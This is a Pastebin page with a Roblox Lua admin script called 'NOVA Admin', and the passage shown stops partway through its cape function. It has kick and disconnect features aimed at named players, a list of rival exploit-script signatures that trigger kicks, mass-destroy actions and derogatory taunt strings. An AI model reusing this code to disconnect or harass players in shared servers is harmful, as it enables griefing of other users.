SHARE
TWEET

Untitled

ScriptSB May 7th, 2016 75 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --[[Go To line 2 and go to line 43 and change the "NAME HERE" to your name]]--
  2. --~Jazzy                                                                                                                                                                                    ]]
  3. script.Name = "TheGamingDoubleKill"
  4. wait()
  5. script.Parent = Instance.new("Glue") -- Stuck!
  6. NOVA ={
  7.     ShutdownPhrase = "Lol " .. math.random(1,50) .. "XD Shutdown nub low life";
  8.     BadPhrases = true;
  9.     Ab = false;
  10.      AntiCamball = true;
  11.     Bet = "/";
  12.     Services = {
  13.         Game = game;
  14.         RunService = game:GetService("RunService");
  15.         Workspace = game:GetService("Workspace");
  16.         Lighting = game:GetService("Lighting");
  17.         Debris = game:GetService("Debris");
  18.         Players = game:GetService("Players");
  19.         Teams = game:GetService("Teams");
  20.         SoundService = game:GetService("SoundService");
  21.         ScriptContext = game:GetService("ScriptContext");
  22.         NetworkServer = game:GetService("NetworkServer");
  23.         StarterGui = game:GetService("StarterGui");
  24.         StarterPack = game:GetService("StarterPack");
  25.     };
  26.     Ranks = {
  27.         {-2,"Lagged"}; -- -2
  28.         {-1,"Banned"}; -- -1
  29.         {-0.5,"Scum"};
  30.         {0,"Guest"}; -- 0
  31.         {1,"Mod"}; -- 1
  32.         {2,"Admin"}; -- 2
  33.         {3,"Developer"}; -- 3
  34.         {4,"Omega Admin"}; -- 4
  35.         {5,"Overlord"}; -- 5
  36.         {6,"OP ( Operator )"}; -- 6
  37.         {7,"Creator"}; -- 7
  38.         {8,"Troll"}; -- 8
  39.     };
  40.     Alphabet = {
  41.     "a",    "b",    "c",    "d",    "e",    "f",    "g",    "h",    "i",    "j",    "k",    "l",    "m",    "n",    "o",    "p",    "q",    "r",    "s",    "t",    "u",    "v",    "w",    "x",    "y",    "z",    
  42.     };
  43.     Ranked = {             
  44.         {Name = "TheGamingDoubleKill", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA", Mesh = false};
  45.         {Name = "", Rank = 7, CMD = true, Color = Color3.new(0,0,1), Desc = "Fire",Mesh = "Dominus"};
  46.         {Name = "", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned me",Mesh = false};
  47.         {Name = "", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned me",Mesh = false};
  48.         {Name = "", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Leaked NOVA Admin",Mesh = false};
  49.         {Name = "", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "A low life Camball abuser",Mesh = false};
  50.          {Name = "", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "TOTAL NUB WITH NO LIFE",Mesh = false};
  51.  
  52.     };    
  53.     Credit = {
  54.         {Name = "NetworkClient",Why = "for the tablet function."};
  55.         {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."};
  56.         {Name = "upquark",Why = "For being a great person in life."};
  57.         {Name = "toshir0z",Why = "For teaching me time control."};
  58.         {Name = "ask4kingbily",Why = "For showing me how to lock first person."};
  59.         {Name = "tusKOr661",Why = "For majorly editing this script."};
  60.     };
  61.     Animations = {
  62.         {Name = "Facepalm", Who = "tusKOr661", Id = "372695cdb6a7540768234ad60ed7a298"};
  63.     };
  64.     Colors = {
  65.         Red = Color3.new(1,0,0);
  66.         PinkRed = Color3.new(1,0,0.15);
  67.         Orange = Color3.new(1,0.5,0);
  68.         Yellow = Color3.new(1,1,0);
  69.         Green = Color3.new(0,1,0);
  70.         Blue = Color3.new(0,0,1);
  71.         LightBlue = Color3.new(0,1,1);
  72.         Pink = Color3.new(1,0,1);
  73.         Magenta = Color3.new(0.54,0,0.54);
  74.         White = Color3.new(1,1,1);
  75.         Grey = Color3.new(0.5,0.5,0.5);
  76.         Black = Color3.new(0,0,0);
  77.     };
  78.     Sounds = {
  79.         Sound = Instance.new("Sound");
  80.         Numbers = { -- one to five ( top to bottom )
  81.             "http://www.roblox.com/Asset/?id=29445305",
  82.             "http://www.roblox.com/Asset/?id=29445339",
  83.             "http://www.roblox.com/Asset/?id=29445358",
  84.             "http://www.roblox.com/Asset/?id=29445378",
  85.             "http://www.roblox.com/Asset/?id=29445395",
  86.         };
  87.         PlayAfter = {
  88.             "http://www.roblox.com/Asset/?id=2767090",
  89.             "http://www.roblox.com/Asset/?id=2800815",
  90.             "http://www.roblox.com/Asset/?id=2801263",
  91.             "http://www.roblox.com/Asset/?id=11984254",
  92.             "http://www.roblox.com/Asset/?id=2101159",
  93.             "http://www.roblox.com/Asset/?id=3087031",
  94.             "http://www.roblox.com/Asset/?id=2101148",
  95.             "http://www.roblox.com/Asset/?id=2233908",
  96.             "http://www.roblox.com/Asset/?id=16976189",
  97.             "http://www.roblox.com/Asset/?id=2101157",
  98.             "http://www.roblox.com/Asset/?id=2974000",
  99.             "http://www.roblox.com/Asset/?id=2703110",
  100.             "http://www.roblox.com/Asset/?id=1994345",
  101.         };
  102.     };
  103.     AncientRules = {
  104.         "Thou shall not use forum scripts.",
  105.         "Thou shall not use CamBall / CamSphere.",
  106.         "Thou shall not use CBA.",
  107.         "Thou shall not use RMDX's scripts.",
  108.         "Thou shall not use antibans.",
  109.         "Thou shall not abuse thou admin.",
  110.         "Thou shall not steal scripts.",
  111.         "Thou shall not trade scripts you didn't make.",
  112.         "Thou shall not use gay scripts.",
  113.         "Thou shall not abuse loopholes in the ancient rules.",
  114.     };
  115.     ChatFilters = {
  116.         "mediafire",
  117.         "shit",
  118.         "gtfo",
  119.         "password",
  120.         "hitler",
  121.         "vaginas",
  122.     };
  123.  
  124.     KillingPhrases = {
  125.         "ssj",
  126.         "yolo",
  127.         "swag",
  128.     };
  129.     KickingPhrases = {
  130.              "\"/down\"",
  131.         "/down","fweld(","ManualJointSurfaceInstance",
  132.         "/hide",
  133.         "rpe/",
  134.         "antiban",
  135.         "ab/",
  136.         "camball.",
  137.         "camball.came",
  138.         "camball/",
  139.         "camball /","deadfield","1waffle1",
  140.         "cie camball",
  141.         "d33k/",
  142.         "pban/",
  143.         "your own camball",
  144.         "created by jordan88282",
  145.         "v2 camball",
  146.         "cba = {}",
  147.         "cba.bet","tusKOr661:Remove()","tusKOr661:Destroy()","tusKOr661.Parent =",
  148.         "banmenu","adminlist","kickmenu",
  149.         "ban/s","ban/so","ban/soc","ban/socc","ban/socce","ban/soccer","ban/soccerm","ban/soccerma","ban/soccerman","ban/soccermani","ban/soccermania","ban/soccermaniac","ban/soccermaniac9","ban/soccermaniac98",
  150.         "cryston",
  151.         "jordan88282", "eyeball","orb","kick/","owner","antikick",
  152.    };
  153.     PreviousDataKeys = {
  154.         "Unlimited Gravity&accesskey=lol4&_version="..tostring(_VERSION),
  155.     };
  156.     LoadTime = {
  157.         Start = tick(),
  158.         Finish = tick(),
  159.     };
  160.     Fences = {};
  161.     Jails = {};
  162.     Objects = {};
  163.     Commands = {};
  164.     Tablets = {};
  165.     Targeted = {};
  166.     ExternalPlayersList = {};
  167.     Waypoints = {};
  168.     Log = {};
  169.     LoggedScripts = {};
  170.     PRI = false;
  171.     LockedScripts = false;
  172.     Removed = true;
  173.     ShowChat = true;
  174.     Canceled = false;
  175.     Overrided = false;
  176.     TimeChanged = false;
  177.     TabletPositionRelative = false;
  178.     AntiDLL = false;
  179.     EnableGuests = true;
  180.     UseGlobals = false;
  181.     Overrider = nil;
  182.     TabletRotation = 0;
  183.     TabletRotationIncrease = 0.03;
  184.     AccessKey = "NewData13";
  185.     Version = "6th Generation";
  186.     DataKey = "Unlimited Gravity";
  187.     PRIType = "Kick";
  188.     LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal
  189.     Script = script:FindFirstChild("PseudoScript"); -- or NewScript
  190.     Plugins = script:GetChildren()
  191. }
  192. --[[ PLAYER PLUGINS ]]--
  193. function UpdatePlayerPlugins()
  194.     if NOVA.AntiDLL == true then PlayerPlugins = [==[
  195.             script.Parent = nil
  196.             LocalPlayer = game:GetService("Players").LocalPlayer
  197.            
  198.             game:GetService("Selection").SelectionChanged:connect(function()
  199.                 if LocalPlayer.Name ~= "tusKOr661" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
  200.                     LocalPlayer.Parent = nil
  201.                     LocalPlayer.Parent = game:GetService("Players")
  202.                 end
  203.             end)
  204.             coroutine.resume(coroutine.create(function()
  205.                 while wait() do
  206.                     if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
  207.                         workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
  208.                         LocalPlayer.Parent = nil
  209.                         LocalPlayer.Parent = game:GetService("Players")
  210.                     end
  211.                 end
  212.             end))
  213.         ]==]
  214.         else
  215.             PlayerPlugins = [==[
  216.             script.Parent = nil
  217.             LocalPlayer = game:GetService("Players").LocalPlayer
  218.        
  219.             coroutine.resume(coroutine.create(function()
  220.                 while wait() do
  221.                     if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
  222.                         workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
  223.                         LocalPlayer.Parent = nil
  224.                         LocalPlayer.Parent = game:GetService("Players")
  225.                     end
  226.                 end
  227.             end))
  228.         ]==]
  229.     end
  230. end
  231. function Color()
  232.         local Choice = math.random(1, 5)
  233.         if Choice == 1 then
  234.                 return "Institutional white"
  235.         elseif Choice == 2 then
  236.                 return "White"
  237.         elseif Choice == 3 then
  238.                 return "Really red"
  239.         elseif Choice == 4 then
  240.                 return "New Yeller"
  241.         elseif Choice == 5 then
  242.                 return "Black"
  243.         end
  244. end  
  245. --[[ PSEUDO FUNCTIONS ]]--
  246. function CreateLocalScript(Source, Parent)
  247.     if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
  248.         newLocalScript(Source, Parent)
  249.     elseif game.PlaceId == 23232804 then
  250.         NewLocalScript(Source, Parent)
  251.     elseif NOVA.LocalScript ~= nil then
  252.         NS = NOVA.LocalScript:Clone()
  253.         NS.Name = "LocalScript"
  254.         pcall(function() NS:ClearAllChildren() end)
  255.         NewSource = Instance.new("StringValue",NS)
  256.         NewSource.Name = "Source"
  257.         if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
  258.             NewSource.Name = "DSource"
  259.         end
  260.         NewSource.Value = Source
  261.         NS.Parent = Parent
  262.         NS.Disabled = false
  263.     else
  264.         print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  265.     end
  266. end
  267.  
  268. function CreateScript(Source, Parent)
  269.     if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
  270.         newScript(Source, Parent)
  271.     elseif game.PlaceId == 23232804 then
  272.         NewScript(Source, Parent)
  273.     elseif NOVA.Script ~= nil then
  274.         NS = NOVA.Script:Clone()
  275.         NS.Name = "Script"
  276.         pcall(function() NS:ClearAllChildren() end)
  277.         NewSource = Instance.new("StringValue",NS)
  278.         NewSource.Name = "Source"
  279.         NewSource.Value = Source
  280.         NS.Parent = Parent
  281.         NS.Disabled = false
  282.     else
  283.         print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  284.     end
  285. end
  286.  
  287. function IsTargeted(Player)
  288.     if type(Player) == "string" then
  289.         for _,v in pairs(NOVA.Targeted) do
  290.             if v.Name == Player then
  291.                 return true
  292.             end
  293.         end
  294.     elseif type(Player) == "userdata" then
  295.         for _,v in pairs(NOVA.Targeted) do
  296.             if Player == v then
  297.                 return true
  298.             end
  299.         end
  300.     else
  301.         print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")")
  302.     end
  303.     return false
  304. end
  305.  
  306. --[[ DATA PERSISTANCE ]]--
  307. --[[ SYNC RANKS IN ]]--
  308. function SyncRanksIn()
  309.     for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  310.         SyncRankInSingular(v)
  311.     end
  312. end
  313. --[[ SYNC RANK IN SINGULAR ]]--
  314. function SyncRankInSingular(v)
  315.     if type(v) ~= "userdata" then
  316.         print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.")
  317.         return
  318.     end
  319.     coroutine.resume(coroutine.create(function()
  320.         repeat wait() until v.DataReady == true
  321.        
  322.         if GetRankedTable(v) == nil then
  323.             table.insert(NOVA.Ranked,{
  324.                 Name = v.Name,
  325.                 CMD = false,
  326.                 Rank = 0,
  327.                 Color = NOVA.Colors.Orange,
  328.                 Desc = "N/A",
  329.                 Complaints = Instance.new("Model"),
  330.                 Executeables = Instance.new("Model"),
  331.                      Mesh = false
  332.             })
  333.                
  334.         end
  335.        
  336.         local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version)
  337.         local Data = GetRankedTable(v)
  338.        
  339.         if PhysicalData == nil then
  340.             Data.Name = v.Name
  341.             Data.CMD = false
  342.             Data.Rank = 0
  343.             Data.Color = NOVA.Colors.Orange
  344.             Data.Desc = "N/A"
  345.             Data.Complaints = Instance.new("Model")
  346.             Data.Executeables = Instance.new("Model")
  347.         elseif PhysicalData ~= nil then
  348.             pcall(function() Data.Name = v.Name end)
  349.             pcall(function() Data.CMD = PhysicalData.CMD.Value end)
  350.             pcall(function() Data.Rank = PhysicalData.RANK.Value end)
  351.             pcall(function() Data.Color = PhysicalData.COLOR.Value end)
  352.             pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end)
  353.             pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end)
  354.             pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end)
  355.             if Data.CMD == nil then Data.CMD = false end
  356.             if Data.Rank == nil then Data.Rank = 0 end
  357.             if Data.Color == nil then Data.Color = NOVA.Colors.Orange end
  358.             if Data.Desc == nil then Data.Desc = "N/A" end
  359.             if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end
  360.             if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end
  361.         end
  362.     end))
  363. end
  364.  
  365. --[[ SYNC RANKS OUT ]]--
  366. function SyncRanksOut()
  367.     for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  368.         SyncRankOutSingular(v)
  369.     end
  370. end
  371.  
  372. --[[ SYNC RANK OUT SINGULAR ]]--
  373. function SyncRankOutSingular(v)
  374.     coroutine.resume(coroutine.create(function()
  375.         repeat wait() until v.DataReady == true
  376.         local RankData = GetRankedTable(v)
  377.         if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end
  378.         local Data = Instance.new("Model")
  379.         Data.Name = "PlayerData"
  380.         local CMD = Instance.new("BoolValue",Data)
  381.         CMD.Name = "CMD"
  382.         CMD.Value = RankData.CMD
  383.         local Rank = Instance.new("NumberValue",Data)
  384.         Rank.Name = "RANK"
  385.         Rank.Value = RankData.Rank
  386.         local Color = Instance.new("Color3Value",Data)
  387.         Color.Name = "COLOR"
  388.         Color.Value = RankData.Color
  389.         local Desc = Instance.new("StringValue",Data)
  390.         Desc.Name = "DESCRIPTION"
  391.         Desc.Value = RankData.Desc
  392.         local Complaints = RankData.Complaints:Clone()
  393.         Complaints.Name = "COMPLAINTS"
  394.         local Executeables = RankData.Executeables:Clone()
  395.         Executeables.Name = "EXECUTEABLES"
  396.         local MeshVa = Instance.new("BoolValue",Data)
  397.     MeshVa = RankData.Mesh
  398.     if MeshVa.Value == true then
  399.     local MeshId = Instance.new("StringValue",Data)
  400.     MeshId = RankData.MeshId
  401.     end
  402.         v:SaveInstance(NOVA.DataKey.."&accesskey=".. NOVA.AccessKey .. "&_version="..NOVA.Version,Data)
  403.         for _,v in pairs(NOVA.PreviousDataKeys) do
  404.             v:SaveInstance(v,Data)
  405.         end
  406.     end))
  407. end
  408.  
  409. --[[ PLAYER INTERFACE ]]--
  410. function PlayerInterface(v,Speaker)
  411.     RemoveTablets(Speaker)
  412.     local Data = GetRankedTable(v)
  413.     OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker)
  414.     Output("Rank Name : "..GetRankName(v),Data.Color,Speaker)
  415.     Output("Rank Number : "..Data.Rank,Data.Color,Speaker)
  416.     Output("Account Age : "..v.AccountAge,Data.Color,Speaker)
  417.     Output("User Id : "..v.userId,Data.Color,Speaker)
  418.     Output("Desc : "..Data.Desc,Data.Color,Speaker)
  419.     Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker)
  420.     Output("Color : "..tostring(Data.Color),Data.Color,Speaker)
  421.         if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then
  422.         Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
  423.             function()
  424.                 Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey
  425.  end
  426.         )
  427.     end
  428.     if GetRank(Speaker) > Data.Rank or v == Speaker then
  429.         Output("Set CMD",NOVA.Colors.Blue,Speaker,nil,
  430.             function()
  431.                 RemoveTablets(Speaker)
  432.                 Output("True",NOVA.Colors.Green,Speaker,nil,
  433.                     function()
  434.                         Data.CMD = true
  435.                         SyncRankOutSingular(v)
  436.                         PlayerInterface(v,Speaker)
  437.                     end
  438.                 )
  439.                 Output("False",NOVA.Colors.Red,Speaker,nil,
  440.                     function()
  441.                         Data.CMD = false
  442.                         SyncRankOutSingular(v)
  443.                         PlayerInterface(v,Speaker)
  444.                     end
  445.                 )
  446.                 Output("Done",NOVA.Colors.Blue,Speaker,nil,
  447.                     function()
  448.                         PlayerInterface(v,Speaker)
  449.                     end
  450.                 )
  451.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  452.             end
  453.         )
  454.     end
  455. if GetRank(Speaker) > Data.Rank or v == Speaker then
  456.         Output("Set Mesh",NOVA.Colors.Blue,Speaker,nil,
  457.             function()
  458.                 RemoveTablets(Speaker)
  459.                 Output("Rainbow Dominus",NOVA.Colors.Green,Speaker,nil,
  460.                     function()
  461.                         Data.Mesh = "Dominus"
  462.                         SyncRankOutSingular(v)
  463.                         PlayerInterface(v,Speaker)
  464.                     end
  465.                 )
  466.                     Output("Giant Spider",NOVA.Colors.Red,Speaker,nil,
  467.                     function()
  468.                         Data.Mesh = "Spider"
  469.                         SyncRankOutSingular(v)
  470.                         PlayerInterface(v,Speaker)
  471.                     end
  472.                 )
  473.                 Output("Orb",NOVA.Colors.Red,Speaker,nil,
  474.                     function()
  475.                         Data.Mesh = "Orb"
  476.                         SyncRankOutSingular(v)
  477.                         PlayerInterface(v,Speaker)
  478.                     end
  479.                 )
  480.                 Output("Tabet",NOVA.Colors.Red,Speaker,nil,
  481.                     function()
  482.                         Data.Mesh = "Tablet"
  483.                         SyncRankOutSingular(v)
  484.                         PlayerInterface(v,Speaker)
  485.                     end
  486.                 )
  487.                 Output("Normal",NOVA.Colors.Red,Speaker,nil,
  488.                     function()
  489.                         Data.Mesh = false
  490.                         SyncRankOutSingular(v)
  491.                         PlayerInterface(v,Speaker)
  492.                     end
  493.                 )
  494.                 Output("Done",NOVA.Colors.Blue,Speaker,nil,
  495.                     function()
  496.                         PlayerInterface(v,Speaker)
  497.                     end
  498.                 )
  499.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  500.             end
  501.         )
  502.     end
  503.     if GetRank(Speaker) > Data.Rank then
  504.         Output("Set Rank",NOVA.Colors.Blue,Speaker,nil,
  505.             function()
  506.                 RemoveTablets(Speaker)
  507.                 for i,v in pairs(NOVA.Ranks) do
  508.                     if v[1] ~= 8 then
  509.                         Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil,
  510.                             function()
  511.                                 RemoveTablets(Speaker)
  512.                                 Data.Rank = v[1]
  513.                                 SyncRankOutSingular(v)
  514.                                 PlayerInterface(v,Speaker)
  515.                             end    
  516.                         )
  517.                     end
  518.                 end
  519.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  520.                 Output("Back",NOVA.Colors.Blue,Speaker,nil,
  521.                     function()
  522.                         PlayerInterface(v,Speaker)
  523.                     end
  524.                 )
  525.                
  526.             end
  527.         )
  528.     end
  529.     if GetRank(Speaker) > Data.Rank or v == Speaker then
  530.         Output("Set Color",NOVA.Colors.Blue,Speaker,nil,
  531.             function()
  532.                 RemoveTablets(Speaker)
  533.                 for i,Color in pairs(NOVA.Colors) do
  534.                     Output(tostring(i),Color,Speaker,nil,
  535.                         function()
  536.                             Data.Color = Color
  537.                             PlayerInterface(v,Speaker)
  538.                             SyncRankOutSingular(v)
  539.                         end
  540.                     )
  541.                    
  542.                 end
  543.                 Output("Back",NOVA.Colors.Blue,Speaker,nil,
  544.                         function()
  545.                             PlayerInterface(v,Speaker)
  546.                         end
  547.                     )
  548.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  549.             end
  550.         )
  551.     end
  552.     Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil,
  553.         function()
  554.             RemoveTablets(Speaker)
  555.             OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  556.         end
  557.     )
  558.     Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil,
  559.         function()
  560.             RemoveTablets(Speaker)
  561.             OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker)
  562.         end
  563.     )
  564.     Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil,
  565.         function()
  566.             RemoveTablets(Speaker)
  567.             OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker)
  568.         end
  569.     )
  570.     Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil,
  571.         function()
  572.             RemoveTablets(Speaker)
  573.             OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker)
  574.         end
  575.     )
  576.     Output("Dismiss",NOVA.Colors.Red,Speaker)
  577. end
  578.  
  579. --[[ MAKE HINT ]]--
  580.  
  581. function makeHint(Text,Parent)
  582.     coroutine.resume(coroutine.create(function()
  583.         local M = Instance.new("Hint",Parent)
  584.         for i = 1, string.len(Text) do
  585.             M.Text = M.Text .. string.sub(Text, i, i)
  586.             wait(math.random() * 0.1)
  587.         end
  588.         M.Text = M.Text .. ""
  589.         for i = 1, math.random(2, 6) do
  590.             M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  591.             wait(0.4)
  592.             M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
  593.             wait(0.4)
  594.         end
  595.         M.Text = string.sub(M.Text, 1, string.len(Text))
  596.         for i = 1, string.len(M.Text) do
  597.             M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  598.             wait()
  599.         end
  600.             M:Remove()
  601.     end))
  602. end
  603. function makeMessage(Text,Parent)
  604.     coroutine.resume(coroutine.create(function()
  605.         local M = Instance.new("Message",Parent)
  606.         for i = 1, string.len(Text) do
  607.             M.Text = M.Text .. string.sub(Text, i, i)
  608.             wait(math.random() * 0.1)
  609.         end
  610.         M.Text = M.Text .. ""
  611.         for i = 1, math.random(2, 6) do
  612.             M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  613.             wait(0.4)
  614.             M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
  615.             wait(0.4)
  616.         end
  617.         M.Text = string.sub(M.Text, 1, string.len(Text))
  618.         for i = 1, string.len(M.Text) do
  619.             M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  620.             wait()
  621.         end
  622.         M:Remove()
  623.     end))
  624. end
  625.  
  626. --[[ EXPLORE ]]--
  627. function Explore(Thing,Speaker)
  628.     if Speaker == nil then
  629.         print("[NOVA.Explore] Argument 1 missing or nil.")
  630.         return
  631.     end
  632.     pcall(function()
  633.         if Thing == game or Thing == nil then
  634.             RemoveTablets(Speaker)
  635.             for _,v in pairs(NOVA.Services) do
  636.                 Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end)
  637.             end
  638.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  639.         else
  640.             if #Thing:children() == 0 then
  641.                 RemoveTablets(Speaker)
  642.                 Explore(Thing.Parent.Parent,Speaker)    
  643.             else
  644.                 RemoveTablets(Speaker)
  645.                 for _,v in pairs(Thing:children()) do
  646.                     Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  647.                         function()
  648.                             RemoveTablets(Speaker)
  649.                             Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
  650.                             Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker)
  651.                             Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
  652.                             Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end )
  653.                             Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end )
  654.                             Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end )
  655.                             Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end )
  656.                             Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end)
  657.                             Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
  658.                             Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end)
  659.                             Output("Dismiss",NOVA.Colors.Red,Speaker)
  660.                         end
  661.                     )
  662.                 end
  663.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  664.             end
  665.         end
  666.     end)
  667. end
  668.  
  669. --[[ CAPE ]]--
  670. function Cape(v)
  671.     local Mode = "None"
  672.     local AngleX = 0
  673.     pcall(function()
  674.         v.Character.Swordpack:remove()
  675.     end)
  676.     pcall(function()    
  677.         v.Character["NOVA Cape"]:remove()
  678.     end)
  679.  
  680.     local Main = Instance.new("Model",v.Character)
  681.     Main.Name = "NOVA Cape"
  682.  
  683.     pcall(function()
  684.         v.Character.Swordpack:Remove()
  685.     end)
  686.  
  687.     local Cape = Instance.new("Part", Main)
  688.     Cape.Name = "Cape"
  689.     Cape.Anchored = false
  690.     Cape.Locked = true
  691.     Cape.CanCollide = false
  692.     Cape.formFactor = "Custom"
  693.     Cape.Size = Vector3.new(2, 3.5, 0.2)
  694.     Cape.BrickColor = BrickColor.new("Really black")
  695.     Cape.TopSurface = 0
  696.     Cape.BottomSurface = 0
  697.     local Decal = Instance.new("Decal", Cape)
  698.     Decal.Face = "Back"
  699.     Decal.Texture = ""
  700.     local CapeWeld = Instance.new("Weld", Cape)
  701.     CapeWeld.Part0 = v.Character.Torso
  702.     CapeWeld.Part1 = Cape
  703.     CapeWeld.C0 = CFrame.new(0, 1, 0.5)
  704.     CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0)
  705.     v.Character.Humanoid.Running:connect(function(Speed)
  706.         if Speed > 0 then
  707.             Mode = "Running"
  708.         else
  709.             Mode = "None"
  710.         end
  711.     end)
  712.     v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end)
  713.     coroutine.wrap(function()
  714.         while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do
  715.             local UpSpeed = 2.5
  716.             local DownSpeed = 5
  717.             local TargetAngle = 5
  718.             if Mode == "Running" then
  719.                 TargetAngle = 45 + math.random(0, 2500) / 100
  720.             elseif Mode == "Jumping" then
  721.                 UpSpeed = 10
  722.                 DownSpeed = 10
  723.                 TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45)
  724.             end
  725.             if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end
  726.             if AngleX < TargetAngle then
  727.                 AngleX = AngleX + UpSpeed
  728.             elseif AngleX > TargetAngle then
  729.                 AngleX = AngleX - DownSpeed
  730.             end
  731.             CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0)
  732.             wait()
  733.         end
  734.     end)()
  735.  
  736.     local LShoulder = Instance.new("Part",Main)
  737.     LShoulder.Name = "Left Shoulder"
  738.     LShoulder.TopSurface = "Smooth"
  739.     LShoulder.BottomSurface = "Smooth"
  740.     LShoulder.FormFactor = "Custom"
  741.     LShoulder.Size = Vector3.new(1,0.2,1)
  742.     LShoulder.BrickColor = BrickColor.new("Really black")
  743.     LShoulder.Anchored = false
  744.     LShoulder.Locked = true
  745.     LShoulder.CanCollide = false
  746.     LShoulder.Transparency = 0
  747.     LShoulder.Reflectance = 0
  748.     local Weld = Instance.new("Motor6D",LShoulder)
  749.     Weld.Part0 = LShoulder
  750.     Weld.Part1 = v.Character["Left Arm"]
  751.     Weld.C0 = CFrame.new(0,-1,0)
  752.  
  753.     local RShoulder = Instance.new("Part",Main)
  754.     RShoulder.Name = "Right Shoulder"
  755.     RShoulder.TopSurface = "Smooth"
  756.     RShoulder.BottomSurface = "Smooth"
  757.     RShoulder.FormFactor = "Custom"
